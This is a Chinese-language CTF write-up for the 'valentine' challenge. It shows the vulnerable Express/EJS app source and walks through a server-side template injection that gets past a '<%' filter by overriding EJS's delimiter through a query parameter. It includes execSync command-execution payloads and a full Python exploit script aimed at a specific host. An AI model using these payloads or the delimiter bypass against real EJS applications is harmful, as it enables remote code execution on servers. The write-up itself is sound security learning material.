valentine
nodejs的ssti,可以任意修改前台的模板
app.js
var express = require('express');
var bodyParser = require('body-parser')
const crypto = require("crypto");
var path = require('path');
const fs = require('fs');
var app = express();
viewsFolder = path.join(__dirname, 'views');
if (!fs.existsSync(viewsFolder)) {
fs.mkdirSync(viewsFolder);
}
app.set('views', viewsFolder);
app.set('view engine', 'ejs');
app.use(bodyParser.urlencoded({ extended: false }))
app.post('/template', function(req, res) {
let tmpl = req.body.tmpl;
let i = -1;
while((i = tmpl.indexOf("<%", i+1)) >= 0) {
if (tmpl.substring(i, i+11) !== "<%= name %>") {
res.status(400).send({message:"Only '<%= name %>' is allowed."});
return;
}
}
let uuid;
do {
uuid = crypto.randomUUID();
} while (fs.existsSync(`views/${uuid}.ejs`))
try {
fs.writeFileSync(`views/${uuid}.ejs`, tmpl);
} catch(err) {
res.status(500).send("Failed to write Valentine's card");
return;
}
let name = req.body.name ?? '';
return res.redirect(`/${uuid}?name=${name}`);
});
app.get('/:template', function(req, res) {
let query = req.query;
let template = req.params.template
if (!/^[0-9A-F]{8}-[0-9A-F]{4}-[4][0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i.test(template)) {
res.status(400).send("Not a valid card id")
return;
}
if (!fs.existsSync(`views/${template}.ejs`)) {
res.status(400).send('Valentine\'s card does not exist')
return;
}
if (!query['name']) {
query['name'] = ''
}
return res.render(template, query);
});
app.get('/', function(req, res) {
return res.sendFile('./index.html', {root: __dirname});
});
app.listen(process.env.PORT || 3000);
前台模板
<h2>Happy Valentines Day <%= name %></h2>
拿到题目的感觉是模板渲染嘛,并且是ejs模板
一般的payload是
<%= global.process.mainModule.require('child_process').execSync('cat /flag.txt') %>
但是修改前台模板的话,上面有校验
while((i = tmpl.indexOf("<%", i+1)) >= 0) {
if (tmpl.substring(i, i+11) !== "<%= name %>") {
res.status(400).send({message:"Only '<%= name %>' is allowed."});
return;
}
也就是说<%
开头的必须为<%= name %>
它是这里来防止模板注入, 写题的时候走到这里就是想绕过校验,但是没有找到合适的方法。
现在wp出来了,发现其实思路正是绕过这里的校验,但并没有想象的那么简单,所以好好复现一下。
这里介绍到了可以影响模板解析的参数delimiter
在ejs的官网首页就有所谓的自定义分隔符
全局肯定不行了,所以使用单个模板文件方式,可以看到,其实就是多写一句{delimiter:'?'}
并且用ejs.render()同模板一起发送出去
看题目的代码也是存在render()
return res.render(template, query);
要先拿到template参数,也就是uuid路径
看wp还有一个坑点,由于 POST 请求传入参数后会重定向,而重定向到的站没有定界符的模板,因此默认的定界符%
被缓存以后无法覆盖。
所以需要禁止重定向:python
requests.port(..., allow_redirects=False)
其实我们用bp抓包就可以忽略这里的重定向问题哈哈哈,可以顺利拿到重定向的uudi路径
dockerfile给了提示flag要执行/readflag文件,那么payload是:
<?= global.process.mainModule.require('child_process').execSync('/readflag') ?>
然后访问设置delimiter=?
参数,即可拿到flag
相比于官方wp的脚本,bp来打更直观一点
看大佬们都是编写python脚本,一样的来写一下
import requests
url = 'http://168.119.235.41:9086'
data = {
'tmpl':"<%= name %><?= global.process.mainModule.require('child_process').execSync('/readflag') ?>",
'name':'123'
}
res = requests.post(url=url+'/template',data=data,allow_redirects=False)
#print(res.text)
path = res.headers['location']
print(path)
res2 = requests.get(url=url+path+'&delimiter=?')
print(res2.text)